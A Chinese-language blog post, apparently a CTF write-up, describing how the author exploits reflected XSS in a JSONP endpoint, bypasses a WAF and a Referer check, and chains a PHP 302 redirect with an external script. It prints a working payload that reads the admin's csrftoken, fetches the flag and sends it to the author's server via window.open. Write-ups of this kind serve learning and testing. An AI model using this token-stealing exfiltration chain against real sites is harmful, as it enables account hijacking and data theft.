一次有趣的XSS弹弹乐

这是标题(๑¯∀¯๑)

主页:

对着输入框一顿乱锤没反应,还是老老实实注册了个账号登进去了
登进去是这样的:

site填入自己的服务器地址发现他会访问。经过简单测试发现这里存在反射型XSS,通过大写可以绕过waf

<SCRIPT>alert(1)<SCRIPT>

但输入的内容不符合网站格式,admin不会访问

这里发现一个getInfo接口,返回 jsonp 数据,也存在反射型xss,而且没上waf

访问接口需要进行referer验证

flag是通过getflag接口获取的,需要参数是csrftoken

获取flag的权限是通过 jsonp 中的 username验证的 ,这个 username 是后端解密 cookie 中的username 得到的明文。cookie 中的 username 受 http-only 保护不可读取,也没有能显示出 cookie 中加密的 username 的页面,于是只能控制admin去访问flag页面然后返回给我们了

这时候的攻击思路就比较明确了:site填入http://xxxx/action.php?callback=\<js代码>让admin访问这个url触发XSS获取自己的csrftoken值,然后带着这个值访问getflag接口,最后再将flag内容发送到我们的服务器。
但是又遇到一个问题:site可填入的url长度太短了,根本不可能填入这样一个附带JS脚本的url,那只能另辟蹊径了

另一条攻击链:

链接 –> 302跳转到 jsonp xss –> 提取 jsonp 中 csrftoken –> xhr 控制读取 flag –> 返回flag到服务器

site:http://my_ip/xss.php
xss.php:

1
2
3
<?php
header('Location: http://target_ip/action.php?callback=<script+src="http://my_ip/xss.js"></script>');
?>

HTTP_REFERER 是由 html 文档对象 document 提供的,Location 是 http 协议的头部内容,浏览器一旦收到,就执行了,此时 document 尚未创建,所以此时的referer还是http://target_ip/loged.php

xss.js:

1
2
3
4
5
6
7
8
9
window.onload = function cryscat(){
var obj = eval('('+document.body.innerText+')');
var ct = obj.csrftoken;
var xml = new XMLHttpRequest();
xml.open('Get','http://target_ip/getflag.php?csrftoken='+ct,false);
xml.send();
var res = xml.responseText;
window.open('http://my_ip/?msg='+res);
}

最后返回的data:

{‘flag’:’flag{j50nP_1s_VulN3r4bLe}’,’csrftoken’:’058807fed91d1b8807688bd258710cbe’} IP: 111.198.29.45 Referer: http://111.198.29.45:30987/action.php? callback=%3Cscript+src=%22http://my_ip/xss.js%22%3E%3C%2Fscript%3E

Thank you for reading.(・ω<)

文章作者: Cryscat
文章链接: http://www.cryscat.com/2019/04/08/一次有趣的XSS弹弹乐/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Cryscat's Blog
打赏
  • 微信
  • 支付宝

评论